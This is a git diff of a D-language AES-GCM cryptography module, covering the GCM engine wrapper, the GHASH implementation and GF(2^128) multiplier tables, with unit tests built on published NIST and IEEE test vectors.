octets iv = cast(octets)
|
||||
x"9313225df88406e555909c5aff5269aa
|
||||
6a7a9538534f7da1e4c303d2a318a728
|
||||
c3c0c95156809539fcf0e2429a6b5254
|
||||
16aedbf5a0de6a57a637b39b"; // more than 96 bits
|
||||
|
||||
GCM!AES gcm;
|
||||
gcm.start(key, iv);
|
||||
|
||||
octets aad = cast(octets)(
|
||||
x"feedfacedeadbeeffeedfacedeadbeef
|
||||
abaddad2"
|
||||
);
|
||||
|
||||
octets plaintext = cast(octets)(
|
||||
x"d9313225f88406e5a55909c5aff5269a
|
||||
86a7a9531534f7da2e4c303d8a318a72
|
||||
1c3c0c95956809532fcf0e2449a6b525
|
||||
b16aedf5aa0de657ba637b39"
|
||||
);
|
||||
|
||||
ubyte[] output = new ubyte[gcm.getOutputSize(plaintext.length)];
|
||||
ubyte[] oBuf = output;
|
||||
size_t outLen;
|
||||
|
||||
outLen = gcm.processBytes(plaintext, oBuf).length;
|
||||
oBuf = oBuf[outLen..$];
|
||||
|
||||
gcm.processAADBytes(aad);
|
||||
ubyte[16] mac;
|
||||
outLen = gcm.finish(mac, oBuf);
|
||||
oBuf = oBuf[outLen..$];
|
||||
|
||||
octets expectedCiphertext = cast(octets) (
|
||||
x"8ce24998625615b603a033aca13fb894
|
||||
be9112a5c3a211a8ba262a3cca7e2ca7
|
||||
01e4a9a4fba43c90ccdcb281d48c7c6f
|
||||
d62875d2aca417034c34aee5"
|
||||
);
|
||||
|
||||
octets expectedMac = cast(octets) x"619cc5aefffe0bfa462af43c1699d050";
|
||||
|
||||
assert(output == expectedCiphertext);
|
||||
assert(mac == expectedMac);
|
||||
}
|
||||
|
||||
/// test GCM with different MAC sizes
|
||||
unittest {
|
||||
|
||||
import dcrypt.blockcipher.aes;
|
||||
|
||||
string[] keys = [
|
||||
x"00000000000000000000000000000000",
|
||||
x"00000000000000000000000000000000",
|
||||
x"00000000000000000000000000000000",
|
||||
x"00000000000000000000000000000000",
|
||||
x"00000000000000000000000000000000",
|
||||
x"00000000000000000000000000000000",
|
||||
x"00000000000000000000000000000000",
|
||||
x"00000000000000000000000000000000",
|
||||
x"00000000000000000000000000000000",
|
||||
x"00000000000000000000000000000000",
|
||||
x"00000000000000000000000000000000",
|
||||
x"00000000000000000000000000000000",
|
||||
x"00000000000000000000000000000000",
|
||||
];
|
||||
string[] ivs = [
|
||||
x"00",
|
||||
x"00000000",
|
||||
x"00000000000000",
|
||||
x"00000000000000000000",
|
||||
x"00000000000000000000000000",
|
||||
x"00000000000000000000000000000000",
|
||||
x"00000000000000000000000000000000000000",
|
||||
x"00000000000000000000000000000000000000000000",
|
||||
x"00000000000000000000000000000000000000000000000000",
|
||||
x"00000000000000000000000000000000000000000000000000000000",
|
||||
x"00000000000000000000000000000000000000000000000000000000000000",
|
||||
x"00000000000000000000000000000000000000000000000000000000000000000000",
|
||||
x"00000000000000000000000000000000000000000000000000000000000000000000000000",
|
||||
];
|
||||
string[] aads = [
|
||||
x"",
|
||||
x"00000000000000",
|
||||
x"0000000000000000000000000000",
|
||||
x"000000000000000000000000000000000000000000",
|
||||
x"00000000000000000000000000000000000000000000000000000000",
|
||||
x"0000000000000000000000000000000000000000000000000000000000000000000000",
|
||||
x"000000000000000000000000000000000000000000000000000000000000000000000000000000000000",
|
||||
x"00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000",
|
||||
x"0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000",
|
||||
x"000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000",
|
||||
x"00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000",
|
||||
x"0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000",
|
||||
x"000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000",
|
||||
];
|
||||
string[] plains = [
|
||||
x"",
|
||||
x"0000000000",
|
||||
x"00000000000000000000",
|
||||
x"000000000000000000000000000000",
|
||||
x"0000000000000000000000000000000000000000",
|
||||
x"00000000000000000000000000000000000000000000000000",
|
||||
x"000000000000000000000000000000000000000000000000000000000000",
|
||||
x"0000000000000000000000000000000000000000000000000000000000000000000000",
|
||||
x"00000000000000000000000000000000000000000000000000000000000000000000000000000000",
|
||||
x"000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000",
|
||||
x"0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000",
|
||||
x"00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000",
|
||||
x"000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000",
|
||||
];
|
||||
string[] ciphers = [
|
||||
x"3c2fa7a9",
|
||||
x"078bb038e6b2353f0e05",
|
||||
x"d6a480d4dec719bd36a60efde3aaf1f8",
|
||||
x"e37dd3785cc7017f206df18d831e37cfe63f9e057a23",
|
||||
x"3fe95bef64662ddcf19a96cc584d2146499320eef8d518bb5e7e49a7",
|
||||
x"a3b22b8449afafbcd6c09f2cfa9de2be938f8bbf235863d0cefb4075046c9a4d351e",
|
||||
x"a0912f3bde077afa3f21725fbcae1c9c2e00b28b6eb462745e9b65a026cc4ba84d13b408b7061fe1",
|
||||
x"535b0d13cbb1012df5402f748cea5304d52db1e4b997317a54c2296b95e0300c6692f911625bfe617d16b63a237b",
|
||||
x"547096f9d7a83ba8d128467baac4a9d861ebd51cc2dfff111915cd0b4260b7dc49c8d8723eb15429024ac21eed99ca1338844092",
|
||||
x"95e67a9eade034290efa90e33f51710f02f3aba4c32873545891924aa52dcc092695e983b529b60e7b13aee5f7d6de278c77410e216d0fdbd7e1",
|
||||
x"0957e69831df479e8cf7b214e1cef4d3e7a2716e8179deaf8061383f35eeabd017080c3d7972b98009a38b5842a2a08a9123412338e16de05a72b76849629b48",
|
||||
x"07052b0f8b95c9491ae43bac6693802384688e9dd19d9ce295b4ab550163a2bb4b0dd905012a56094e895ea7a5857f8100af40b4adb6452d0b8e78e709c5c9f1d432b5f59317",
|
||||
x"e0902e27a95867acaa788920ac71b2f2a61863bdc40ee869bea53470edf02fc71800465c550a58ba69220c67243899d756cf0a5ac4fda582fc6e9d2f8498a0e73e0e809bfb8d86ab5fdf066c",
|
||||
];
|
||||
uint[] macSizes = [
|
||||
32,
|
||||
40,
|
||||
48,
|
||||
56,
|
||||
64,
|
||||
72,
|
||||
80,
|
||||
88,
|
||||
96,
|
||||
104,
|
||||
112,
|
||||
120,
|
||||
128,
|
||||
];
|
||||
|
||||
AEADCipherTest(
|
||||
new GCMEngine(new AESEngine),
|
||||
keys,
|
||||
ivs,
|
||||
plains,
|
||||
aads,
|
||||
ciphers,
|
||||
macSizes);
|
||||
|
||||
}
|
||||
|
||||
/// OOP Wrapper for GCM
|
||||
@safe
|
||||
public class GCMEngine: IAEADEngine {
|
||||
|
||||
private GCM!void cipher = void;
|
||||
|
||||
public {
|
||||
|
||||
/// Params: c = underlying block cipher
|
||||
this(IBlockCipher c) {
|
||||
cipher = GCM!void(c);
|
||||
}
|
||||
|
||||
void start(in ubyte[] key, in ubyte[] iv) nothrow @nogc {
|
||||
cipher.start(key, iv);
|
||||
}
|
||||
|
||||
@property
|
||||
string name() pure nothrow {
|
||||
return cipher.name;
|
||||
}
|
||||
|
||||
IBlockCipher getUnderlyingCipher() pure nothrow {
|
||||
return cipher.getUnderlyingCipher();
|
||||
}
|
||||
|
||||
void processAADBytes(in ubyte[] aad) nothrow {
|
||||
cipher.processAADBytes(aad);
|
||||
}
|
||||
|
||||
ubyte[] processBytes(in ubyte[] input, ubyte[] output) nothrow {
|
||||
return cipher.processBytes(input, output);
|
||||
}
|
||||
ubyte[] encrypt(in ubyte[] input, ubyte[] output) nothrow {
|
||||
state = 1;
|
||||
return cipher.processBytes(input, output);
|
||||
}
|
||||
ubyte[] decrypt(in ubyte[] input, ubyte[] output) nothrow {
|
||||
state = 0;
|
||||
return cipher.processBytes(input, output);
|
||||
}
|
||||
|
||||
size_t finish(ubyte[] macBuf, ubyte[] output) {
|
||||
return cipher.finish(macBuf, output);
|
||||
}
|
||||
|
||||
size_t getUpdateOutputSize(size_t len) nothrow const {
|
||||
return cipher.getUpdateOutputSize(len);
|
||||
}
|
||||
|
||||
size_t getOutputSize(size_t len) nothrow const {
|
||||
return cipher.getOutputSize(len);
|
||||
}
|
||||
|
||||
void reset() nothrow {
|
||||
cipher.reset();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Circular buffer holding 2*BLOCKSIZE bytes of data.
|
||||
@safe
|
||||
private struct CircularBlockBuffer(size_t BLOCKSIZE) {
|
||||
|
||||
import std.algorithm: min;
|
||||
|
||||
private {
|
||||
ubyte[2*BLOCKSIZE] buf;
|
||||
size_t offset = 0;
|
||||
size_t contentLen = 0;
|
||||
ubyte nextOutputBlock = 0;
|
||||
}
|
||||
|
||||
invariant {
|
||||
assert(offset <= 2*BLOCKSIZE, "offset out of bounds");
|
||||
assert(contentLen <= 2*BLOCKSIZE, "contentLen out of bounds");
|
||||
assert(nextOutputBlock <= 2, "nextOutputBlock out of bounds");
|
||||
}
|
||||
|
||||
|
||||
public nothrow @nogc {
|
||||
|
||||
/**
|
||||
* try to fill the buffer
|
||||
*
|
||||
* Returns: number of bytes written to buffer
|
||||
*/
|
||||
size_t put(in ubyte[] input)
|
||||
out (result){
|
||||
assert(result <= input.length);
|
||||
}
|
||||
body {
|
||||
|
||||
size_t procLen = min(input.length, 2*BLOCKSIZE - contentLen);
|
||||
|
||||
const(ubyte)[] iBuf = input;
|
||||
|
||||
// copy input into buffer
|
||||
foreach(i;0..procLen) {
|
||||
buf[offset] = input[i];
|
||||
offset = (offset + 1) % (2*BLOCKSIZE);
|
||||
}
|
||||
|
||||
contentLen += procLen;
|
||||
|
||||
return procLen;
|
||||
}
|
||||
|
||||
bool isFull() {
|
||||
return contentLen == buf.length;
|
||||
}
|
||||
|
||||
/**
|
||||
* write max one block to output if buffer is full
|
||||
*
|
||||
* Returns: number of bytes written to output
|
||||
*/
|
||||
size_t drainBlock(ubyte[] output)
|
||||
in {
|
||||
assert(output.length >= BLOCKSIZE, "output buffer too short");
|
||||
}
|
||||
body {
|
||||
if(isFull()) {
|
||||
|
||||
size_t blockOff = nextOutputBlock * BLOCKSIZE;
|
||||
|
||||
// copy one block to output
|
||||
output[0..BLOCKSIZE] = buf[blockOff..blockOff+BLOCKSIZE];
|
||||
|
||||
nextOutputBlock ^= 0x01; // 0,1,0,1,...
|
||||
contentLen -= BLOCKSIZE;
|
||||
return BLOCKSIZE;
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
/**
|
||||
* write whole buffer content to output
|
||||
*
|
||||
* Returns: number of bytes written to output
|
||||
*/
|
||||
size_t drainAll(ubyte[] output)
|
||||
in {
|
||||
assert(output.length >= contentLen, "output buffer too short");
|
||||
}
|
||||
body {
|
||||
|
||||
size_t startOff = nextOutputBlock * BLOCKSIZE;
|
||||
|
||||
// copy data to output
|
||||
foreach(i;0..contentLen) {
|
||||
output[i] = buf[(startOff + i) % (2*BLOCKSIZE)];
|
||||
}
|
||||
|
||||
size_t outLen = contentLen;
|
||||
contentLen = 0;
|
||||
nextOutputBlock = 0;
|
||||
offset = 0;
|
||||
return outLen;
|
||||
}
|
||||
|
||||
@property
|
||||
size_t length() const {
|
||||
return contentLen;
|
||||
}
|
||||
|
||||
void reset() {
|
||||
buf[] = 0;
|
||||
offset = 0;
|
||||
contentLen = 0;
|
||||
nextOutputBlock = 0;
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
|
||||
}
|
||||
373
full/Angel-payload/angel/utils/cryptography/gcm/ghash.d
Normal file
373
full/Angel-payload/angel/utils/cryptography/gcm/ghash.d
Normal file
@@ -0,0 +1,373 @@
|
||||
module angel.utils.cryptography.gcm.ghash;
|
||||
|
||||
import angel.utils.cryptography.gcm.galoisfield;
|
||||
import angel.utils.cryptography.gcm.multiplier;
|
||||
|
||||
// BUG: llvm crashes when using GCMMultiplier64kTable
|
||||
alias GHashGeneral!GCMMultiplier8kTable GHash;
|
||||
|
||||
/// Params:
|
||||
/// Multiplier = a GCM Multiplier like GCMMultiplier8kTable
|
||||
@safe
|
||||
public struct GHashGeneral(Multiplier) if(isGCMMultiplier!Multiplier)
|
||||
{
|
||||
enum BLOCKSIZE = 16; /// block size in bytes
|
||||
|
||||
alias ubyte T;
|
||||
alias T[BLOCKSIZE/(T.sizeof)] block;
|
||||
|
||||
private {
|
||||
|
||||
block stateCipher; /// state for cipher data hashing
|
||||
block H;
|
||||
block stateAAD; /// state for AAD hashing
|
||||
block stateAADPre; /// stateAAD before first cipher byte is processed
|
||||
|
||||
ubyte stateAADOff = 0; /// offset in stateAAD buffer
|
||||
ubyte stateCipherOff = 0; /// offset in stateCipher buffer
|
||||
|
||||
ulong lenAAD = 0; /// length of additional authenticated data (AAD) in bits
|
||||
ulong lenAADPre = 0; /// length of AAD before first cipher byte is processed
|
||||
ulong lenCipher = 0; /// length of authenticated cipher data in bits
|
||||
|
||||
bool aadInput = true; /// AAD or cipher input
|
||||
|
||||
Multiplier gcmMult;
|
||||
}
|
||||
|
||||
invariant {
|
||||
// offsets should never exceed their boundaries
|
||||
assert(stateAADOff <= BLOCKSIZE);
|
||||
assert(stateCipherOff <= BLOCKSIZE);
|
||||
}
|
||||
|
||||
/// Params:
|
||||
/// H = element of GF(2^128)
|
||||
this(in ubyte[] H) nothrow @nogc
|
||||
in {
|
||||
assert(H.length == BLOCKSIZE, "H must be 16 bytes");
|
||||
}
|
||||
body {
|
||||
init(H);
|
||||
}
|
||||
|
||||
/// initialize the hash
|
||||
/// Params:
|
||||
/// H = the factor used for multiplication.
|
||||
public void init(in ubyte[] H) nothrow @nogc
|
||||
in {
|
||||
assert(H.length == BLOCKSIZE, "H must be 16 bytes");
|
||||
}
|
||||
body {
|
||||
this.H[] = H[];
|
||||
|
||||
// init the multiplier
|
||||
gcmMult.init(H);
|
||||
}
|
||||
|
||||
|
||||
/// add data to the AAD stream
|
||||
/// Params:
|
||||
/// aad = data to be authenticated only
|
||||
public void updateAAD(in ubyte[] aad...) nothrow @nogc
|
||||
{
|
||||
update(stateAAD, stateAADOff, aad);
|
||||
lenAAD += aad.length*8;
|
||||
}
|
||||
|
||||
/// Call this before processing any cipher data for better performance.
|
||||
private void finalizeAAD() nothrow @nogc {
|
||||
|
||||
stateCipher[] = stateAAD[];
|
||||
|
||||
if(lenAAD > 0) {
|
||||
stateAADPre[] = stateAAD[];
|
||||
lenAADPre = lenAAD;
|
||||
}
|
||||
|
||||
if(stateAADOff > 0) {
|
||||
// process partial block
|
||||
multiplyH(stateCipher);
|
||||
stateAADOff = 0;
|
||||
}
|
||||
aadInput = false;
|
||||
}
|
||||
|
||||
/**
|
||||
* Params:
|
||||
* input = encrypted data
|
||||
*/
|
||||
public void updateCipherData(in ubyte[] input...) nothrow @nogc
|
||||
{
|
||||
if(aadInput) {
|
||||
finalizeAAD(); // sets aadInput = false
|
||||
}
|
||||
update(stateCipher, stateCipherOff, input);
|
||||
lenCipher += input.length*8;
|
||||
}
|
||||
|
||||
/// do final hash round and copy hash to buf
|
||||
/// resets GHASH
|
||||
/// Params: buf = output buffer for hash value
|
||||
public void doFinal(ubyte[] buf) nothrow @nogc
|
||||
in {
|
||||
assert(buf.length >= BLOCKSIZE, "output buffer too short");
|
||||
}
|
||||
body {
|
||||
|
||||
if(stateAADOff > 0) {
|
||||
// process last partial AAD block
|
||||
multiplyH(stateAAD);
|
||||
stateAADOff = 0;
|
||||
}
|
||||
|
||||
// process last incomplete block
|
||||
if(stateCipherOff > 0) {
|
||||
multiplyH(stateCipher);
|
||||
stateCipherOff = 0;
|
||||
}
|
||||
|
||||
if(lenAAD > lenAADPre) {
|
||||
// some AAD has been processed after first cipher bytes arrived
|
||||
// need to adjust the MAC state
|
||||
|
||||
// caluculate the difference
|
||||
stateAADPre[] ^= stateAAD[];
|
||||
|
||||
ulong blockDiff = (lenCipher + 127) / 128; // number of cipher data blocks.
|
||||
// + 127 added for rounding up.
|
||||
|
||||
// calculate H^blockDiff
|
||||
ubyte[BLOCKSIZE] expH;
|
||||
expH[] = H[];
|
||||
GF128.power(expH, blockDiff);
|
||||
|
||||
// propagate the difference to the current block
|
||||
GF128.multiply(stateAADPre, expH);
|
||||
|
||||
// add the difference to the current block
|
||||
stateCipher[] ^= stateAADPre[];
|
||||
}
|
||||
|
||||
// Add a block containing the length of both streams: X ^ (len(A)||len(C)) * H
|
||||
foreach(i;0..8) {
|
||||
stateCipher[i] ^= lenAAD >> (56-8*i);
|
||||
stateCipher[i+8] ^= lenCipher >> (56-8*i);
|
||||
}
|
||||
|
||||
multiplyH(stateCipher);
|
||||
|
||||
buf[0..BLOCKSIZE] = stateCipher[];
|
||||
|
||||
reset();
|
||||
}
|
||||
|
||||
/// Reset the internal state.
|
||||
public void reset() nothrow @nogc {
|
||||
stateAAD[] = 0;
|
||||
stateAADOff = 0;
|
||||
stateCipher[] = 0;
|
||||
stateCipherOff = 0;
|
||||
lenCipher = 0;
|
||||
lenAAD = 0;
|
||||
|
||||
lenAADPre = 0;
|
||||
stateAADPre[] = 0;
|
||||
|
||||
aadInput = true;
|
||||
}
|
||||
|
||||
/// xor X with input bytes and do GF multiplication by H if buffer is full
|
||||
/// Params:
|
||||
/// input = incoming data
|
||||
/// state = update this state
|
||||
/// statePos = pointer to the location where the next byte gets written
|
||||
private void update(ubyte[] state, ref ubyte statePos, in ubyte[] input...) nothrow @nogc
|
||||
in {
|
||||
assert(state.length == 16);
|
||||
}
|
||||
body {
|
||||
import std.algorithm: min;
|
||||
|
||||
const(ubyte)[] iBuf = input;
|
||||
|
||||
if(statePos == BLOCKSIZE) {
|
||||
multiplyH(state);
|
||||
statePos = 0;
|
||||
}
|
||||
|
||||
while(iBuf.length > 0) {
|
||||
|
||||
size_t procLen = min(iBuf.length, BLOCKSIZE-statePos);
|
||||
|
||||
state[statePos..statePos+procLen] ^= iBuf[0..procLen];
|
||||
|
||||
statePos += procLen;
|
||||
iBuf = iBuf[procLen..$];
|
||||
|
||||
if(statePos == BLOCKSIZE) {
|
||||
multiplyH(state);
|
||||
statePos = 0;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Multiply x by H, store result in x.
|
||||
private void multiplyH(ubyte[] x) nothrow @nogc {
|
||||
gcmMult.multiply(x);
|
||||
}
|
||||
|
||||
// unittests
|
||||
|
||||
unittest {
|
||||
GHash gHash = GHash(cast(const(ubyte)[])x"66e94bd4ef8a2c3b884cfa59ca342b2e");
|
||||
|
||||
ubyte[16] token;
|
||||
gHash.doFinal(token);
|
||||
|
||||
const(ubyte)[] EK0 = cast(const(ubyte)[])x"58e2fccefa7e3061367f1d57a4e7455a";
|
||||
token[] ^= EK0[];
|
||||
|
||||
assert(token == x"58e2fccefa7e3061367f1d57a4e7455a");
|
||||
}
|
||||
|
||||
unittest {
|
||||
|
||||
GHash gHash = GHash(cast(const(ubyte)[])x"66e94bd4ef8a2c3b884cfa59ca342b2e");
|
||||
|
||||
gHash.updateCipherData(cast(const(ubyte)[])x"0388dace60b6a392f328c2b971b2fe78");
|
||||
|
||||
// check X1
|
||||
assert(gHash.stateCipher == cast(const(ubyte)[])x"5e2ec746917062882c85b0685353deb7");
|
||||
|
||||
ubyte[16] hash;
|
||||
gHash.doFinal(hash);
|
||||
|
||||
assert(hash == x"f38cbb1ad69223dcc3457ae5b6b0f885");
|
||||
}
|
||||
|
||||
// test vectors from
|
||||
// http://www.ieee802.org/1/files/public/docs2011/bn-randall-test-vectors-0511-v1.pdf
|
||||
// section 2.1.1
|
||||
unittest {
|
||||
|
||||
GHash gHash = GHash(cast(const(ubyte)[])x"73A23D80121DE2D5A850253FCF43120E");
|
||||
|
||||
gHash.updateAAD(cast(const(ubyte)[])x"D609B1F056637A0D46DF998D88E5222A");
|
||||
gHash.updateAAD(cast(const(ubyte)[])x"B2C2846512153524C0895E8108000F10");
|
||||
gHash.updateAAD(cast(const(ubyte)[])x"1112131415161718191A1B1C1D1E1F20");
|
||||
gHash.updateAAD(cast(const(ubyte)[])x"2122232425262728292A2B2C2D2E2F30");
|
||||
gHash.updateAAD(cast(const(ubyte)[])x"313233340001");
|
||||
|
||||
ubyte[16] token;
|
||||
gHash.doFinal(token);
|
||||
|
||||
assert(token == x"1BDA7DB505D8A165264986A703A6920D");
|
||||
}
|
||||
|
||||
// test vectors from
|
||||
// http://www.ieee802.org/1/files/public/docs2011/bn-randall-test-vectors-0511-v1.pdf
|
||||
// section 2.4.1
|
||||
unittest {
|
||||
|
||||
GHash gHash = GHash(cast(const(ubyte)[])x"E4E01725D724C1215C7309AD34539257");
|
||||
|
||||
gHash.updateAAD(cast(const(ubyte)[])x"E20106D7CD0DF0761E8DCD3D88E54C2A");
|
||||
gHash.updateAAD(cast(const(ubyte)[])x"76D457ED");
|
||||
|
||||
gHash.updateCipherData(cast(const(ubyte)[])x"13B4C72B389DC5018E72A171DD85A5D3");
|
||||
gHash.updateCipherData(cast(const(ubyte)[])x"752274D3A019FBCAED09A425CD9B2E1C");
|
||||
gHash.updateCipherData(cast(const(ubyte)[])x"9B72EEE7C9DE7D52B3F3");
|
||||
|
||||
ubyte[16] ghash;
|
||||
gHash.doFinal(ghash);
|
||||
|
||||
assert(ghash == x"2A807BDE4AF8A462D467D2FFA3E1D868");
|
||||
}
|
||||
|
||||
// test vectors from
|
||||
// http://www.ieee802.org/1/files/public/docs2011/bn-randall-test-vectors-0511-v1.pdf
|
||||
// section 2.8.1
|
||||
unittest {
|
||||
|
||||
GHash gHash = GHash(cast(const(ubyte)[])x"AE19118C3B704FCE42AE0D15D2C15C7A");
|
||||
|
||||
gHash.updateAAD(cast(const(ubyte)[])x"68F2E77696CE7AE8E2CA4EC588E54D00");
|
||||
gHash.updateAAD(cast(const(ubyte)[])x"2E58495C");
|
||||
|
||||
gHash.updateCipherData(cast(const(ubyte)[])x"C31F53D99E5687F7365119B832D2AAE7");
|
||||
gHash.updateCipherData(cast(const(ubyte)[])x"0741D593F1F9E2AB3455779B078EB8FE");
|
||||
gHash.updateCipherData(cast(const(ubyte)[])x"ACDFEC1F8E3E5277F8180B43361F6512");
|
||||
gHash.updateCipherData(cast(const(ubyte)[])x"ADB16D2E38548A2C719DBA7228D840");
|
||||
|
||||
ubyte[16] ghash;
|
||||
gHash.doFinal(ghash);
|
||||
|
||||
assert(ghash == x"5AAA6FD11F06A18BE6E77EF2BC18AF93");
|
||||
}
|
||||
|
||||
/// http://csrc.nist.gov/groups/ST/toolkit/BCM/documents/proposedmodes/gcm/gcm-spec.pdf
|
||||
/// test case 16
|
||||
unittest {
|
||||
|
||||
// init gHash with H = acbef...
|
||||
GHash gHash = GHash(cast(const(ubyte)[])x"acbef20579b4b8ebce889bac8732dad7");
|
||||
|
||||
// process AAD
|
||||
gHash.updateAAD(cast(const(ubyte)[])x"feedfacedeadbeeffeedfacedeadbeef");
|
||||
gHash.updateAAD(cast(const(ubyte)[])x"abaddad2");
|
||||
|
||||
// process cipher data
|
||||
gHash.updateCipherData(cast(const(ubyte)[])x"522dc1f099567d07f47f37a32a84427d");
|
||||
gHash.updateCipherData(cast(const(ubyte)[])x"643a8cdcbfe5c0c97598a2bd2555d1aa");
|
||||
gHash.updateCipherData(cast(const(ubyte)[])x"8cb08e48590dbb3da7b08b1056828838");
|
||||
gHash.updateCipherData(cast(const(ubyte)[])x"c5f61e6393ba7a0abcc9f662");
|
||||
|
||||
// get the final hash value
|
||||
ubyte[16] ghash;
|
||||
gHash.doFinal(ghash);
|
||||
|
||||
assert(ghash == x"8bd0c4d8aacd391e67cca447e8c38f65");
|
||||
}
|
||||
|
||||
// http://csrc.nist.gov/groups/ST/toolkit/BCM/documents/proposedmodes/gcm/gcm-spec.pdf
|
||||
// test case 16
|
||||
// AAD and cipher data come out of order
|
||||
unittest {
|
||||
|
||||
GHash gHash = GHash(cast(const(ubyte)[])x"acbef20579b4b8ebce889bac8732dad7");
|
||||
|
||||
gHash.updateAAD(cast(const(ubyte)[])x"feedfacedeadbeeffeedfacedeadbeef");
|
||||
|
||||
gHash.updateCipherData(cast(const(ubyte)[])x"522dc1f099567d07f47f37a32a84427d");
|
||||
gHash.updateCipherData(cast(const(ubyte)[])x"643a8cdcbfe5c0c97598a2bd2555d1aa");
|
||||
gHash.updateCipherData(cast(const(ubyte)[])x"8cb08e48590dbb3da7b08b1056828838");
|
||||
gHash.updateCipherData(cast(const(ubyte)[])x"c5f61e6393ba7a0abcc9f662");
|
||||
|
||||
gHash.updateAAD(cast(const(ubyte)[])x"abaddad2");
|
||||
|
||||
|
||||
ubyte[16] ghash;
|
||||
gHash.doFinal(ghash);
|
||||
|
||||
assert(ghash == cast(const(ubyte)[])x"8bd0c4d8aacd391e67cca447e8c38f65");
|
||||
|
||||
// gHash should now be resetted, so do the same thing again
|
||||
|
||||
gHash.updateAAD(cast(const(ubyte)[])x"feedfacedeadbeeffeedfacedeadbeef");
|
||||
|
||||
gHash.updateCipherData(cast(const(ubyte)[])x"522dc1f099567d07f47f37a32a84427d");
|
||||
gHash.updateCipherData(cast(const(ubyte)[])x"643a8cdcbfe5c0c97598a2bd2555d1aa");
|
||||
gHash.updateCipherData(cast(const(ubyte)[])x"8cb08e48590dbb3da7b08b1056828838");
|
||||
|
||||
gHash.updateAAD(cast(const(ubyte)[])x"abaddad2");
|
||||
|
||||
gHash.updateCipherData(cast(const(ubyte)[])x"c5f61e6393ba7a0abcc9f662");
|
||||
|
||||
gHash.doFinal(ghash);
|
||||
|
||||
assert(ghash == x"8bd0c4d8aacd391e67cca447e8c38f65");
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
493
full/Angel-payload/angel/utils/cryptography/gcm/multiplier.d
Normal file
493
full/Angel-payload/angel/utils/cryptography/gcm/multiplier.d
Normal file
@@ -0,0 +1,493 @@
|
||||
module angel.utils.cryptography.gcm.multiplier;
|
||||
|
||||
package:
|
||||
|
||||
import angel.utils.cryptography.gcm.galoisfield;
|
||||
import std.algorithm: swap;
|
||||
|
||||
// TODO Dynamically make use of intel pclmulqdq instruction for fast multiplication.
|
||||
|
||||
/// test if T is a GCM multiplier
|
||||
@safe
|
||||
template isGCMMultiplier(T)
|
||||
{
|
||||
enum bool isGCMMultiplier =
|
||||
is(T == struct) &&
|
||||
is(typeof(
|
||||
{
|
||||
ubyte[16] block;
|
||||
T m = void;
|
||||
m.init(block);
|
||||
m.multiply(block);
|
||||
}));
|
||||
}
|
||||
|
||||
/// This struct provides schoolbook multiplication in GF(2^128).
|
||||
@safe
|
||||
struct GCMBasicMultiplier
|
||||
{
|
||||
|
||||
private {
|
||||
ubyte[16] H;
|
||||
}
|
||||
|
||||
this(in ubyte[] H) nothrow @nogc
|
||||
in {
|
||||
assert(H.length == 16, "H: invalid length");
|
||||
}
|
||||
body {
|
||||
init(H);
|
||||
}
|
||||
|
||||
nothrow @nogc {
|
||||
/**
|
||||
* initialize the multiplicator
|
||||
*/
|
||||
void init(in ubyte[] H)
|
||||
in {
|
||||
assert(H.length == 16, "H: invalid length");
|
||||
}
|
||||
body {
|
||||
this.H[] = H[];
|
||||
}
|
||||
|
||||
/// Multiply x by H and store result in x.
|
||||
///
|
||||
/// Params:
|
||||
/// x = 16 byte block
|
||||
void multiply(ubyte[] x)
|
||||
in {
|
||||
assert(x.length == 16, "x: invalid length.");
|
||||
}
|
||||
body {
|
||||
GF128.multiply(x, H);
|
||||
}
|
||||
}
|
||||
|
||||
/// test multiplication using schoolbook multiplication
|
||||
unittest {
|
||||
|
||||
immutable ubyte[16] testH = cast(immutable ubyte[16]) x"66e94bd4ef8a2c3b884cfa59ca342b2e";
|
||||
ubyte[16] X1 = cast(immutable ubyte[16]) x"0388dace60b6a392f328c2b971b2fe78";
|
||||
|
||||
GCMBasicMultiplier mult = GCMBasicMultiplier(testH);
|
||||
|
||||
mult.multiply(X1);
|
||||
|
||||
assert(X1 == x"5e2ec746917062882c85b0685353deb7", "GF128 multiplication with 8k table failed!");
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
/// This struct provides table driven multiplication in GF(2^128).
|
||||
@safe
|
||||
struct GCMMultiplier8kTable
|
||||
{
|
||||
|
||||
private {
|
||||
ubyte[16][16][32] M;
|
||||
}
|
||||
|
||||
this(in ubyte[] H) nothrow @nogc
|
||||
in {
|
||||
assert(H.length == 16, "H: invalid length");
|
||||
}
|
||||
body {
|
||||
init(H);
|
||||
}
|
||||
|
||||
nothrow @nogc {
|
||||
/**
|
||||
* initialize the multiplicator
|
||||
*/
|
||||
void init(in ubyte[] H) {
|
||||
tableSetup(H);
|
||||
}
|
||||
|
||||
/// Multiply x by H and store result in x.
|
||||
///
|
||||
/// Params:
|
||||
/// x = 16 byte block
|
||||
void multiply(ubyte[] x)
|
||||
in {
|
||||
assert(x.length == 16, "x: invalid length.");
|
||||
}
|
||||
body {
|
||||
|
||||
ubyte[16] z;
|
||||
|
||||
for(uint i = 0; i < 16; ++i) {
|
||||
z[] ^= M[2*i][x[i]>>4][];
|
||||
z[] ^= M[2*i+1][x[i]&0xF][];
|
||||
}
|
||||
|
||||
x[] = z[];
|
||||
}
|
||||
}
|
||||
|
||||
/// test multiplication using 8k table
|
||||
unittest {
|
||||
|
||||
immutable ubyte[16] H = cast(immutable ubyte[16]) x"66e94bd4ef8a2c3b884cfa59ca342b2e";
|
||||
ubyte[16] X1 = cast(immutable ubyte[16]) x"0388dace60b6a392f328c2b971b2fe78";
|
||||
|
||||
GCMMultiplier8kTable mult = GCMMultiplier8kTable(H);
|
||||
|
